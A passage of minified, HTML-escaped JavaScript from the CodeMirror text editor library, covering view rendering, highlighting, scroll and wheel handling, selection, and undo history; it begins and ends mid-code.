b()}finally{fd(a)}}function nd(a,b){return function(){if(a.curOp)return b.apply(a,arguments);ed(a);try{return b.apply(a,arguments)}finally{fd(a)}}}function od(a){return function(){if(this.curOp)return a.apply(this,arguments);ed(this);try{return a.apply(this,arguments)}finally{fd(this)}}}function pd(a){return function(){var b=this.cm;if(!b||b.curOp)return a.apply(this,arguments);ed(b);try{return a.apply(this,arguments)}finally{fd(b)}}}function qd(a,b,c,d){null==b&amp;&amp;(b=a.doc.first),null==c&amp;&amp;(c=a.doc.first+a.doc.size),d||(d=0);var e=a.display;if(d&amp;&amp;c&lt;e.viewTo&amp;&amp;(null==e.updateLineNumbers||e.updateLineNumbers&gt;b)&amp;&amp;(e.updateLineNumbers=b),a.curOp.viewChanged=!0,b&gt;=e.viewTo)Ug&amp;&amp;oa(a.doc,b)&lt;e.viewTo&amp;&amp;sd(a);else if(c&lt;=e.viewFrom)Ug&amp;&amp;pa(a.doc,c+d)&gt;e.viewFrom?sd(a):(e.viewFrom+=d,e.viewTo+=d);else if(b&lt;=e.viewFrom&amp;&amp;c&gt;=e.viewTo)sd(a);else if(b&lt;=e.viewFrom){var f=td(a,c,c+d,1);f?(e.view=e.view.slice(f.index),e.viewFrom=f.lineN,e.viewTo+=d):sd(a)}else if(c&gt;=e.viewTo){var g=td(a,b,b,-1);g?(e.view=e.view.slice(0,g.index),e.viewTo=g.lineN):sd(a)}else{var h=td(a,b,b,-1),i=td(a,c,c+d,1);h&amp;&amp;i?(e.view=e.view.slice(0,h.index).concat(ub(a,h.lineN,i.lineN)).concat(e.view.slice(i.index)),e.viewTo+=d):sd(a)}var j=e.externalMeasured;j&amp;&amp;(c&lt;j.lineN?j.lineN+=d:b&lt;j.lineN+j.size&amp;&amp;(e.externalMeasured=null))}function rd(a,b,c){a.curOp.viewChanged=!0;var d=a.display,e=a.display.externalMeasured;if(e&amp;&amp;b&gt;=e.lineN&amp;&amp;b&lt;e.lineN+e.size&amp;&amp;(d.externalMeasured=null),!(b&lt;d.viewFrom||b&gt;=d.viewTo)){var f=d.view[zc(a,b)];if(null!=f.node){var g=f.changes||(f.changes=[]);m(g,c)==-1&amp;&amp;g.push(c)}}}function sd(a){a.display.viewFrom=a.display.viewTo=a.doc.first,a.display.view=[],a.display.viewOffset=0}function td(a,b,c,d){var e,f=zc(a,b),g=a.display.view;if(!Ug||c==a.doc.first+a.doc.size)return{index:f,lineN:c};for(var h=a.display.viewFrom,i=0;i&lt;f;i++)h+=g[i].size;if(h!=b){if(d&gt;0){if(f==g.length-1)return null;e=h+g[f].size-b,f++}else e=h-b;b+=e,c+=e}for(;oa(a.doc,c)!=c;){if(f==(d&lt;0?0:g.length-1))return null;c+=d*g[f-(d&lt;0?1:0)].size,f+=d}return{index:f,lineN:c}}function ud(a,b,c){var d=a.display,e=d.view;0==e.length||b&gt;=d.viewTo||c&lt;=d.viewFrom?(d.view=ub(a,b,c),d.viewFrom=b):(d.viewFrom&gt;b?d.view=ub(a,b,d.viewFrom).concat(d.view):d.viewFrom&lt;b&amp;&amp;(d.view=d.view.slice(zc(a,b))),d.viewFrom=b,d.viewTo&lt;c?d.view=d.view.concat(ub(a,d.viewTo,c)):d.viewTo&gt;c&amp;&amp;(d.view=d.view.slice(0,zc(a,c)))),d.viewTo=c}function vd(a){for(var b=a.display.view,c=0,d=0;d&lt;b.length;d++){var e=b[d];e.hidden||e.node&amp;&amp;!e.changes||++c}return c}function wd(a,b){a.doc.highlightFrontier&lt;a.display.viewTo&amp;&amp;a.state.highlight.set(b,j(xd,a))}function xd(a){var b=a.doc;if(!(b.highlightFrontier&gt;=a.display.viewTo)){var c=+new Date+a.options.workTime,d=ab(a,b.highlightFrontier),e=[];b.iter(d.line,Math.min(b.first+b.size,a.display.viewTo+500),function(f){if(d.line&gt;=a.display.viewFrom){var g=f.styles,h=f.text.length&gt;a.options.maxHighlightLength?Xa(b.mode,d.state):null,i=$a(a,f,d,!0);h&amp;&amp;(d.state=h),f.styles=i.styles;var j=f.styleClasses,k=i.classes;k?f.styleClasses=k:j&amp;&amp;(f.styleClasses=null);for(var l=!g||g.length!=f.styles.length||j!=k&amp;&amp;(!j||!k||j.bgClass!=k.bgClass||j.textClass!=k.textClass),m=0;!l&amp;&amp;m&lt;g.length;++m)l=g[m]!=f.styles[m];l&amp;&amp;e.push(d.line),f.stateAfter=d.save(),d.nextLine()}else f.text.length&lt;=a.options.maxHighlightLength&amp;&amp;bb(a,f.text,d),f.stateAfter=d.line%5==0?d.save():null,d.nextLine();if(+new Date&gt;c)return wd(a,a.options.workDelay),!0}),b.highlightFrontier=d.line,b.modeFrontier=Math.max(b.modeFrontier,d.line),e.length&amp;&amp;md(a,function(){for(var b=0;b&lt;e.length;b++)rd(a,e[b],&quot;text&quot;)})}}function yd(a){var b=a.display;!b.scrollbarsClipped&amp;&amp;b.scroller.offsetWidth&amp;&amp;(b.nativeBarWidth=b.scroller.offsetWidth-b.scroller.clientWidth,b.heightForcer.style.height=Rb(a)+&quot;px&quot;,b.sizer.style.marginBottom=-b.nativeBarWidth+&quot;px&quot;,b.sizer.style.borderRightWidth=Rb(a)+&quot;px&quot;,b.scrollbarsClipped=!0)}function zd(a){if(a.hasFocus())return null;var b=g();if(!b||!f(a.display.lineDiv,b))return null;var c={activeElt:b};if(window.getSelection){var d=window.getSelection();d.anchorNode&amp;&amp;d.extend&amp;&amp;f(a.display.lineDiv,d.anchorNode)&amp;&amp;(c.anchorNode=d.anchorNode,c.anchorOffset=d.anchorOffset,c.focusNode=d.focusNode,c.focusOffset=d.focusOffset)}return c}function Ad(a){if(a&amp;&amp;a.activeElt&amp;&amp;a.activeElt!=g()&amp;&amp;(a.activeElt.focus(),a.anchorNode&amp;&amp;f(document.body,a.anchorNode)&amp;&amp;f(document.body,a.focusNode))){var b=window.getSelection(),c=document.createRange();c.setEnd(a.anchorNode,a.anchorOffset),c.collapse(!1),b.removeAllRanges(),b.addRange(c),b.extend(a.focusNode,a.focusOffset)}}function Bd(a,c){var d=a.display,e=a.doc;if(c.editorIsHidden)return sd(a),!1;if(!c.force&amp;&amp;c.visible.from&gt;=d.viewFrom&amp;&amp;c.visible.to&lt;=d.viewTo&amp;&amp;(null==d.updateLineNumbers||d.updateLineNumbers&gt;=d.viewTo)&amp;&amp;d.renderedView==d.view&amp;&amp;0==vd(a))return!1;Oc(a)&amp;&amp;(sd(a),c.dims=uc(a));var f=e.first+e.size,g=Math.max(c.visible.from-a.options.viewportMargin,e.first),h=Math.min(f,c.visible.to+a.options.viewportMargin);d.viewFrom&lt;g&amp;&amp;g-d.viewFrom&lt;20&amp;&amp;(g=Math.max(e.first,d.viewFrom)),d.viewTo&gt;h&amp;&amp;d.viewTo-h&lt;20&amp;&amp;(h=Math.min(f,d.viewTo)),Ug&amp;&amp;(g=oa(a.doc,g),h=pa(a.doc,h));var i=g!=d.viewFrom||h!=d.viewTo||d.lastWrapHeight!=c.wrapperHeight||d.lastWrapWidth!=c.wrapperWidth;ud(a,g,h),d.viewOffset=sa(B(a.doc,d.viewFrom)),a.display.mover.style.top=d.viewOffset+&quot;px&quot;;var j=vd(a);if(!i&amp;&amp;0==j&amp;&amp;!c.force&amp;&amp;d.renderedView==d.view&amp;&amp;(null==d.updateLineNumbers||d.updateLineNumbers&gt;=d.viewTo))return!1;var k=zd(a);return j&gt;4&amp;&amp;(d.lineDiv.style.display=&quot;none&quot;),Ed(a,d.updateLineNumbers,c.dims),j&gt;4&amp;&amp;(d.lineDiv.style.display=&quot;&quot;),d.renderedView=d.view,Ad(k),b(d.cursorDiv),b(d.selectionDiv),d.gutters.style.height=d.sizer.style.minHeight=0,i&amp;&amp;(d.lastWrapHeight=c.wrapperHeight,d.lastWrapWidth=c.wrapperWidth,wd(a,400)),d.updateLineNumbers=null,!0}function Cd(a,b){for(var c=b.viewport,d=!0;(d&amp;&amp;a.options.lineWrapping&amp;&amp;b.oldDisplayWidth!=Sb(a)||(c&amp;&amp;null!=c.top&amp;&amp;(c={top:Math.min(a.doc.height+Pb(a.display)-Tb(a),c.top)}),b.visible=Mc(a.display,a.doc,c),!(b.visible.from&gt;=a.display.viewFrom&amp;&amp;b.visible.to&lt;=a.display.viewTo)))&amp;&amp;Bd(a,b);d=!1){Kc(a);var e=ad(a);Ac(a),bd(a,e),Gd(a,e),b.force=!1}b.signal(a,&quot;update&quot;,a),a.display.viewFrom==a.display.reportedViewFrom&amp;&amp;a.display.viewTo==a.display.reportedViewTo||(b.signal(a,&quot;viewportChange&quot;,a,a.display.viewFrom,a.display.viewTo),a.display.reportedViewFrom=a.display.viewFrom,a.display.reportedViewTo=a.display.viewTo)}function Dd(a,b){var c=new uh(a,b);if(Bd(a,c)){Kc(a),Cd(a,c);var d=ad(a);Ac(a),bd(a,d),Gd(a,d),c.finish()}}function Ed(a,c,d){function e(b){var c=b.nextSibling;return pg&amp;&amp;zg&amp;&amp;a.display.currentWheelTarget==b?b.style.display=&quot;none&quot;:b.parentNode.removeChild(b),c}for(var f=a.display,g=a.options.lineNumbers,h=f.lineDiv,i=h.firstChild,j=f.view,k=f.viewFrom,l=0;l&lt;j.length;l++){var n=j[l];if(n.hidden);else if(n.node&amp;&amp;n.node.parentNode==h){for(;i!=n.node;)i=e(i);var o=g&amp;&amp;null!=c&amp;&amp;c&lt;=k&amp;&amp;n.lineNumber;n.changes&amp;&amp;(m(n.changes,&quot;gutter&quot;)&gt;-1&amp;&amp;(o=!1),Ab(a,n,k,d)),o&amp;&amp;(b(n.lineNumber),n.lineNumber.appendChild(document.createTextNode(I(a.options,k)))),i=n.node.nextSibling}else{var p=Ib(a,n,k,d);h.insertBefore(p,i)}k+=n.size}for(;i;)i=e(i)}function Fd(a){var b=a.display.gutters.offsetWidth;a.display.sizer.style.marginLeft=b+&quot;px&quot;}function Gd(a,b){a.display.sizer.style.minHeight=b.docHeight+&quot;px&quot;,a.display.heightForcer.style.top=b.docHeight+&quot;px&quot;,a.display.gutters.style.height=b.docHeight+a.display.barHeight+Rb(a)+&quot;px&quot;}function Hd(a){var c=a.display.gutters,e=a.options.gutters;b(c);for(var f=0;f&lt;e.length;++f){var g=e[f],h=c.appendChild(d(&quot;div&quot;,null,&quot;CodeMirror-gutter &quot;+g));&quot;CodeMirror-linenumbers&quot;==g&amp;&amp;(a.display.lineGutter=h,h.style.width=(a.display.lineNumWidth||1)+&quot;px&quot;)}c.style.display=f?&quot;&quot;:&quot;none&quot;,Fd(a)}function Id(a){var b=m(a.gutters,&quot;CodeMirror-linenumbers&quot;);b==-1&amp;&amp;a.lineNumbers?a.gutters=a.gutters.concat([&quot;CodeMirror-linenumbers&quot;]):b&gt;-1&amp;&amp;!a.lineNumbers&amp;&amp;(a.gutters=a.gutters.slice(0),a.gutters.splice(b,1))}function Jd(a){var b=a.wheelDeltaX,c=a.wheelDeltaY;return null==b&amp;&amp;a.detail&amp;&amp;a.axis==a.HORIZONTAL_AXIS&amp;&amp;(b=a.detail),null==c&amp;&amp;a.detail&amp;&amp;a.axis==a.VERTICAL_AXIS?c=a.detail:null==c&amp;&amp;(c=a.wheelDelta),{x:b,y:c}}function Kd(a){var b=Jd(a);return b.x*=wh,b.y*=wh,b}function Ld(a,b){var c=Jd(b),d=c.x,e=c.y,f=a.display,g=f.scroller,h=g.scrollWidth&gt;g.clientWidth,i=g.scrollHeight&gt;g.clientHeight;if(d&amp;&amp;h||e&amp;&amp;i){if(e&amp;&amp;zg&amp;&amp;pg)a:for(var j=b.target,k=f.view;j!=g;j=j.parentNode)for(var l=0;l&lt;k.length;l++)if(k[l].node==j){a.display.currentWheelTarget=j;break a}if(d&amp;&amp;!jg&amp;&amp;!sg&amp;&amp;null!=wh)return e&amp;&amp;i&amp;&amp;Zc(a,Math.max(0,g.scrollTop+e*wh)),_c(a,Math.max(0,g.scrollLeft+d*wh)),(!e||e&amp;&amp;i)&amp;&amp;Ja(b),void(f.wheelStartX=null);if(e&amp;&amp;null!=wh){var m=e*wh,n=a.doc.scrollTop,o=n+f.wrapper.clientHeight;m&lt;0?n=Math.max(0,n+m-50):o=Math.min(a.doc.height,o+m+50),Dd(a,{top:n,bottom:o})}vh&lt;20&amp;&amp;(null==f.wheelStartX?(f.wheelStartX=g.scrollLeft,f.wheelStartY=g.scrollTop,f.wheelDX=d,f.wheelDY=e,setTimeout(function(){if(null!=f.wheelStartX){var a=g.scrollLeft-f.wheelStartX,b=g.scrollTop-f.wheelStartY,c=b&amp;&amp;f.wheelDY&amp;&amp;b/f.wheelDY||a&amp;&amp;f.wheelDX&amp;&amp;a/f.wheelDX;f.wheelStartX=f.wheelStartY=null,c&amp;&amp;(wh=(wh*vh+c)/(vh+1),++vh)}},200)):(f.wheelDX+=d,f.wheelDY+=e))}}function Md(a,b){var c=a[b];a.sort(function(a,b){return K(a.from(),b.from())}),b=m(a,c);for(var d=1;d&lt;a.length;d++){var e=a[d],f=a[d-1];if(K(f.to(),e.from())&gt;=0){var g=O(f.from(),e.from()),h=N(f.to(),e.to()),i=f.empty()?e.from()==e.head:f.from()==f.head;d&lt;=b&amp;&amp;--b,a.splice(--d,2,new yh(i?h:g,i?g:h))}}return new xh(a,b)}function Nd(a,b){return new xh([new yh(a,b||a)],0)}function Od(a){return a.text?J(a.from.line+a.text.length-1,p(a.text).length+(1==a.text.length?a.from.ch:0)):a.to}function Pd(a,b){if(K(a,b.from)&lt;0)return a;if(K(a,b.to)&lt;=0)return Od(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;return a.line==b.to.line&amp;&amp;(d+=Od(b).ch-b.to.ch),J(c,d)}function Qd(a,b){for(var c=[],d=0;d&lt;a.sel.ranges.length;d++){var e=a.sel.ranges[d];c.push(new yh(Pd(e.anchor,b),Pd(e.head,b)))}return Md(c,a.sel.primIndex)}function Rd(a,b,c){return a.line==b.line?J(c.line,a.ch-b.ch+c.ch):J(c.line+(a.line-b.line),a.ch)}function Sd(a,b,c){for(var d=[],e=J(a.first,0),f=e,g=0;g&lt;b.length;g++){var h=b[g],i=Rd(h.from,e,f),j=Rd(Od(h),e,f);if(e=h.to,f=j,&quot;around&quot;==c){var k=a.sel.ranges[g],l=K(k.head,k.anchor)&lt;0;d[g]=new yh(l?j:i,l?i:j)}else d[g]=new yh(i,i)}return new xh(d,a.sel.primIndex)}function Td(a){a.doc.mode=Va(a.options,a.doc.modeOption),Ud(a)}function Ud(a){a.doc.iter(function(a){a.stateAfter&amp;&amp;(a.stateAfter=null),a.styles&amp;&amp;(a.styles=null)}),a.doc.modeFrontier=a.doc.highlightFrontier=a.doc.first,wd(a,100),a.state.modeGen++,a.curOp&amp;&amp;qd(a)}function Vd(a,b){return 0==b.from.ch&amp;&amp;0==b.to.ch&amp;&amp;&quot;&quot;==p(b.text)&amp;&amp;(!a.cm||a.cm.options.wholeLineUpdateBefore)}function Wd(a,b,c,d){function e(a){return c?c[a]:null}function f(a,c,e){jb(a,c,e,d),yb(a,&quot;change&quot;,a,b)}function g(a,b){for(var c=[],f=a;f&lt;b;++f)c.push(new jh(j[f],e(f),d));return c}var h=b.from,i=b.to,j=b.text,k=B(a,h.line),l=B(a,i.line),m=p(j),n=e(j.length-1),o=i.line-h.line;if(b.full)a.insert(0,g(0,j.length)),a.remove(j.length,a.size-j.length);else if(Vd(a,b)){var q=g(0,j.length-1);f(l,l.text,n),o&amp;&amp;a.remove(h.line,o),q.length&amp;&amp;a.insert(h.line,q)}else if(k==l)if(1==j.length)f(k,k.text.slice(0,h.ch)+m+k.text.slice(i.ch),n);else{var r=g(1,j.length-1);r.push(new jh(m+k.text.slice(i.ch),n,d)),f(k,k.text.slice(0,h.ch)+j[0],e(0)),a.insert(h.line+1,r)}else if(1==j.length)f(k,k.text.slice(0,h.ch)+j[0]+l.text.slice(i.ch),e(0)),a.remove(h.line+1,o);else{f(k,k.text.slice(0,h.ch)+j[0],e(0)),f(l,m+l.text.slice(i.ch),n);var s=g(1,j.length-1);o&gt;1&amp;&amp;a.remove(h.line+1,o-1),a.insert(h.line+1,s)}yb(a,&quot;change&quot;,a,b)}function Xd(a,b,c){function d(a,e,f){if(a.linked)for(var g=0;g&lt;a.linked.length;++g){var h=a.linked[g];if(h.doc!=e){var i=f&amp;&amp;h.sharedHist;c&amp;&amp;!i||(b(h.doc,i),d(h.doc,a,i))}}}d(a,null,!0)}function Yd(a,b){if(b.cm)throw new Error(&quot;This document is already in use.&quot;);a.doc=b,b.cm=a,xc(a),Td(a),Zd(a),a.options.lineWrapping||ua(a),a.options.mode=b.modeOption,qd(a)}function Zd(a){(&quot;rtl&quot;==a.doc.direction?h:Gg)(a.display.lineDiv,&quot;CodeMirror-rtl&quot;)}function $d(a){md(a,function(){Zd(a),qd(a)})}function _d(a){this.done=[],this.undone=[],this.undoDepth=1/0,this.lastModTime=this.lastSelTime=0,this.lastOp=this.lastSelOp=null,this.lastOrigin=this.lastSelOrigin=null,this.generation=this.maxGeneration=a||1}function ae(a,b){var c={from:M(b.from),to:Od(b),text:C(a,b.from,b.to)};return he(a,c,b.from.line,b.to.line+1),Xd(a,function(a){return he(a,c,b.from.line,b.to.line+1)},!0),c}function be(a){for(;a.length;){var b=p(a);if(!b.ranges)break;a.pop()}}function ce(a,b){return b?(be(a.done),p(a.done)):a.done.length&amp;&amp;!p(a.done).ranges?p(a.done):a.done.length&gt;1&amp;&amp;!a.done[a.done.length-2].ranges?(a.done.pop(),p(a.done)):void 0}function de(a,b,c,d){var e=a.history;e.undone.length=0;var f,g,h=+new Date;if((e.lastOp==d||e.lastOrigin==b.origin&amp;&amp;b.origin&amp;&amp;(&quot;+&quot;==b.origin.charAt(0)&amp;&amp;a.cm&amp;&amp;e.lastModTime&gt;h-a.cm.options.historyEventDelay||&quot;*&quot;==b.origin.charAt(0)))&amp;&amp;(f=ce(e,e.lastOp==d)))g=p(f.changes),0==K(b.from,b.to)&amp;&amp;0==K(b.from,g.to)?g.to=Od(b):f.changes.push(ae(a,b));else{var i=p(e.done);for(i&amp;&amp;i.ranges||ge(a.sel,e.done),f={changes:[ae(a,b)],generation:e.generation},e.done.push(f);e.done.length&gt;e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift()}e.done.push(c),e.generation=++e.maxGeneration,e.lastModTime=e.lastSelTime=h,e.lastOp=e.lastSelOp=d,e.lastOrigin=e.lastSelOrigin=b.origin,g||Ea(a,&quot;historyAdded&quot;)}function ee(a,b,c,d){var e=b.charAt(0);return&quot;*&quot;==e||&quot;+&quot;==e&amp;&amp;c.ranges.length==d.ranges.length&amp;&amp;c.somethingSelected()==d.somethingSelected()&amp;&amp;new Date-a.history.lastSelTime&lt;=(a.cm?a.cm.options.historyEventDelay:500)}function fe(a,b,c,d){var e=a.history,f=d&amp;&amp;d.origin;c==e.lastSelOp||f&amp;&amp;e.lastSelOrigin==f&amp;&amp;(e.lastModTime==e.lastSelTime&amp;&amp;e.lastOrigin==f||ee(a,f,p(e.done),b))?e.done[e.done.length-1]=b:ge(b,e.done),e.lastSelTime=+new Date,e.lastSelOrigin=f,e.lastSelOp=c,d&amp;&amp;d.clearRedo!==!1&amp;&amp;be(e.undone)}function ge(a,b){var c=p(b);c&amp;&amp;c.ranges&amp;&amp;c.equals(a)||b.push(a)}function he(a,b,c,d){var e=b[&quot;spans_&quot;+a.id],f=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(c){c.markedSpans&amp;&amp;((e||(e=b[&quot;spans_&quot;+a.id]={}))[f]=c.markedSpans),++f})}function ie(a){if(!a)return null;for(var b,c=0;c&lt;a.length;++c)a[c].marker.explicitlyCleared?b||(b=a.slice(0,c)):b&amp;&amp;b.push(a[c]);return b?b.length?b:null:a}function je(a,b){var c=b[&quot;spans_&quot;+a.id];if(!c)return null;for(var d=[],e=0;e&lt;b.text.length;++e)d.push(ie(c[e]));return d}function ke(a,b){var c=je(a,b),d=_(a,b);if(!c)return d;if(!d)return c;for(var e=0;e&lt;c.length;++e){var f=c[e],g=d[e];if(f&amp;&amp;g)a:for(var h=0;h&lt;g.length;++h){for(var i=g[h],j=0;j&lt;f.length;++j)if(f[j].marker==i.marker)continue a;f.push(i)}else g&amp;&amp;(c[e]=g)}return c}function le(a,b,c){for(var d=[],e=0;e&lt;a.length;++e){var f=a[e];if(f.ranges)d.push(c?xh.prototype.deepCopy.call(f):f);else{var g=f.changes,h=[];d.push({changes:h});for(var i=0;i&lt;g.length;++i){var j=g[i],k=void 0;if(h.push({from:j.from,to:j.to,text:j.text}),b)for(var l in j)(k=l.match(/^spans_(\d+)$/))&amp;&amp;m(b,Number(k[1]))&gt;-1&amp;&amp;(p(h)[l]=j[l],delete j[l])}}}return d}function me(a,b,c,d){if(d){var e=a.anchor;if(c){var f=K(b,e)&lt;0;f!=K(c,e)&lt;0?(e=b,b=c):f!=K(b,c)&lt;0&amp;&amp;(b=c)}return new yh(e,b)}return new yh(c||b,b)}function ne(a,b,c,d,e){null==e&amp;&amp;(e=a.cm&amp;&amp;(a.cm.display.shift||a.extend)),te(a,new xh([me(a.sel.primary(),b,c,e)],0),d)}function oe(a,b,c){for(var d=[],e=a.cm&amp;&amp;(a.cm.display.shift||a.extend),f=0;f&lt;a.sel.ranges.length;f++)d[f]=me(a.sel.ranges[f],b[f],null,e);var g=Md(d,a.sel.primIndex);te(a,g,c)}function pe(a,b,c,d){var e=a.sel.ranges.slice(0);e[b]=c,te(a,Md(e,a.sel.primIndex),d)}function qe(a,b,c,d){te(a,Nd(b,c),d)}function re(a,b,c){var d={ranges:b.ranges,update:function(b){var c=this;this.ranges=[];for(var d=0;d&lt;b.length;d++)c.ranges[d]=new yh(Q(a,b[d].anchor),Q(a,b[d].head))},origin:c&amp;&amp;c.origin};return Ea(a,&quot;beforeSelectionChange&quot;,a,d),a.cm&amp;&amp;Ea(a.cm,&quot;beforeSelectionChange&quot;,a.cm,d),d.ranges!=b.ranges?Md(d.ranges,d.ranges.length-1):b}function se(a,b,c){var d=a.history.done,e=p(d);e&amp;&amp;e.ranges?(d[d.length-1]=b,ue(a,b,c)):te(a,b,c)}function te(a,b,c){ue(a,b,c),fe(a,a.sel,a.cm?a.cm.curOp.id:NaN,c)}function ue(a,b,c){(Ha(a,&quot;beforeSelectionChange&quot;)||a.cm&amp;&amp;Ha(a.cm,&quot;beforeSelectionChange&quot;))&amp;&amp;(b=re(a,b,c));var d=c&amp;&amp;c.bias||(K(b.primary().head,a.sel.primary().head)&lt;0?-1:1);ve(a,xe(a,b,d,!0)),c&amp;&amp;c.scroll===!1||!a.cm||Uc(a.cm)}function ve(a,b){b.equals(a.sel)||(a.sel=b,a.cm&amp;&amp;(a.cm.curOp.updateInput=a.cm.curOp.selectionChanged=!0,Ga(a.cm)),yb(a,&quot;cursorActivity&quot;,a))}function we(a){ve(a,xe(a,a.sel,null,!1))}function xe(a,b,c,d){for(var e,f=0;f&lt;b.ranges.length;f++){var g=b.ranges[f],h=b.ranges.length==a.sel.ranges.length&amp;&amp;a.sel.ranges[f],i=ze(a,g.anchor,h&amp;&amp;h.anchor,c,d),j=ze(a,g.head,h&amp;&amp;h.head,c,d);(e||i!=g.anchor||j!=g.head)&amp;&amp;(e||(e=b.ranges.slice(0,f)),e[f]=new yh(i,j))}return e?Md(e,b.primIndex):b}function ye(a,b,c,d,e){var f=B(a,b.line);if(f.markedSpans)for(var g=0;g&lt;f.markedSpans.length;++g){var h=f.markedSpans[g],i=h.marker;if((null==h.from||(i.inclusiveLeft?h.from&lt;=b.ch:h.from&lt;b.ch))&amp;&amp;(null==h.to||(i.inclusiveRight?h.to&gt;=b.ch:h.to&gt;b.ch))){if(e&amp;&amp;(Ea(i,&quot;beforeCursorEnter&quot;),i.explicitlyCleared)){if(f.markedSpans){--g;continue}break}if(!i.atomic)continue;if(c){var j=i.find(d&lt;0?1:-1),k=void 0;if((d&lt;0?i.inclusiveRight:i.inclusiveLeft)&amp;&amp;(j=Ae(a,j,-d,j&amp;&amp;j.line==b.line?f:null)),j&amp;&amp;j.line==b.line&amp;&amp;(k=K(j,c))&amp;&amp;(d&lt;0?k&lt;0:k&gt;0))return ye(a,j,b,d,e)}var l=i.find(d&lt;0?-1:1);return(d&lt;0?i.inclusiveLeft:i.inclusiveRight)&amp;&amp;(l=Ae(a,l,d,l.line==b.line?f:null)),l?ye(a,l,b,d,e):null}}return b}function ze(a,b,c,d,e){var f=d||1,g=ye(a,b,c,f,e)||!e&amp;&amp;ye(a,b,c,f,!0)||ye(a,b,c,-f,e)||!e&amp;&amp;ye(a,b,c,-f,!0);return g?g:(a.cantEdit=!0,J(a.first,0))}function Ae(a,b,c,d){return c&lt;0&amp;&amp;0==b.ch?b.line&gt;a.first?Q(a,J(b.line-1)):null:c&gt;0&amp;&amp;b.ch==(d||B(a,b.line)).text.length?b.line&lt;a.first+a.size-1?J(b.line+1,0):null:new J(b.line,b.ch+c)}function Be(a){a.setSelection(J(a.firstLine(),0),J(a.lastLine()),Ng)}function Ce(a,b,c){var d={canceled:!1,from:b.from,to:b.to,text:b.text,origin:b.origin,cancel:function(){return d.canceled=!0}};return c&amp;&amp;(d.update=function(b,c,e,f){b&amp;&amp;(d.from=Q(a,b)),c&amp;&amp;(d.to=Q(a,c)),e&amp;&amp;(d.text=e),void 0!==f&amp;&amp;(d.origin=f)}),Ea(a,&quot;beforeChange&quot;,a,d),a.cm&amp;&amp;Ea(a.cm,&quot;beforeChange&quot;,a.cm,d),d.canceled?null:{from:d.from,to:d.to,text:d.text,origin:d.origin}}function De(a,b,c){if(a.cm){if(!a.cm.curOp)return nd(a.cm,De)(a,b,c);if(a.cm.state.suppressEdits)return}if(!(Ha(a,&quot;beforeChange&quot;)||a.cm&amp;&amp;Ha(a.cm,&quot;beforeChange&quot;))||(b=Ce(a,b,!0))){var d=Tg&amp;&amp;!c&amp;&amp;ba(a,b.from,b.to);if(d)for(var e=d.length-1;e&gt;=0;--e)Ee(a,{from:d[e].from,to:d[e].to,text:e?[&quot;&quot;]:b.text,origin:b.origin});else Ee(a,b)}}function Ee(a,b){if(1!=b.text.length||&quot;&quot;!=b.text[0]||0!=K(b.from,b.to)){var c=Qd(a,b);de(a,b,c,a.cm?a.cm.curOp.id:NaN),He(a,b,c,_(a,b));var d=[];Xd(a,function(a,c){c||m(d,a.history)!=-1||(Me(a.history,b),d.push(a.history)),He(a,b,null,_(a,b))})}}function Fe(a,b,c){if(!a.cm||!a.cm.state.suppressEdits||c){for(var d,e=a.history,f=a.sel,g=&quot;undo&quot;==b?e.done:e.undone,h=&quot;undo&quot;==b?e.undone:e.done,i=0;i&lt;g.length&amp;&amp;(d=g[i],c?!d.ranges||d.equals(a.sel):d.ranges);i++);if(i!=g.length){for(e.lastOrigin=e.lastSelOrigin=null;d=g.pop(),d.ranges;){if(ge(d,h),c&amp;&amp;!d.equals(a.sel))return void te(a,d,{clearRedo:!1});f=d}var j=[];ge(f,h),h.push({changes:j,generation:e.generation}),e.generation=d.generation||++e.maxGeneration;for(var k=Ha(a,&quot;beforeChange&quot;)||a.cm&amp;&amp;Ha(a.cm,&quot;beforeChange&quot;),l=function(c){var e=d.changes[c];if(e.origin=b,
k&amp;&amp;!Ce(a,e,!1))return g.length=0,{};j.push(ae(a,e));var f=c?Qd(a,e):p(g);He(a,e,f,ke(a,e)),!c&amp;&amp;a.cm&amp;&amp;a.cm.scrollIntoView({from:e.from,to:Od(e)});var h=[];Xd(a,function(a,b){b||m(h,a.history)!=-1||(Me(a.history,e),h.push(a.history)),He(a,e,null,ke(a,e))})},n=d.changes.length-1;n&gt;=0;--n){var o=l(n);if(o)return o.v}}}}function Ge(a,b){if(0!=b&amp;&amp;(a.first+=b,a.sel=new xh(q(a.sel.ranges,function(a){return new yh(J(a.anchor.line+b,a.anchor.ch),J(a.head.line+b,a.head.ch))}),a.sel.primIndex),a.cm)){qd(a.cm,a.first,a.first-b,b);for(var c=a.cm.display,d=c.viewFrom;d&lt;c.viewTo;d++)rd(a.cm,d,&quot;gutter&quot;)}}function He(a,b,c,d){if(a.cm&amp;&amp;!a.cm.curOp)return nd(a.cm,He)(a,b,c,d);if(b.to.line&lt;a.first)return void Ge(a,b.text.length-1-(b.to.line-b.from.line));if(!(b.from.line&gt;a.lastLine())){if(b.from.line&lt;a.first){var e=b.text.length-1-(a.first-b.from.line);Ge(a,e),b={from:J(a.first,0),to:J(b.to.line+e,b.to.ch),text:[p(b.text)],origin:b.origin}}var f=a.lastLine();b.to.line&gt;f&amp;&amp;(b={from:b.from,to:J(f,B(a,f).text.length),text:[b.text[0]],origin:b.origin}),b.removed=C(a,b.from,b.to),c||(c=Qd(a,b)),a.cm?Ie(a.cm,b,d):Wd(a,b,d),ue(a,c,Ng)}}function Ie(a,b,c){var d=a.doc,e=a.display,f=b.from,g=b.to,h=!1,i=f.line;a.options.lineWrapping||(i=F(la(B(d,f.line))),d.iter(i,g.line+1,function(a){if(a==e.maxLine)return h=!0,!0})),d.sel.contains(b.from,b.to)&gt;-1&amp;&amp;Ga(a),Wd(d,b,c,wc(a)),a.options.lineWrapping||(d.iter(i,f.line+b.text.length,function(a){var b=ta(a);b&gt;e.maxLineLength&amp;&amp;(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,h=!1)}),h&amp;&amp;(a.curOp.updateMaxLine=!0)),ib(d,f.line),wd(a,400);var j=b.text.length-(g.line-f.line)-1;b.full?qd(a):f.line!=g.line||1!=b.text.length||Vd(a.doc,b)?qd(a,f.line,g.line+1,j):rd(a,f.line,&quot;text&quot;);var k=Ha(a,&quot;changes&quot;),l=Ha(a,&quot;change&quot;);if(l||k){var 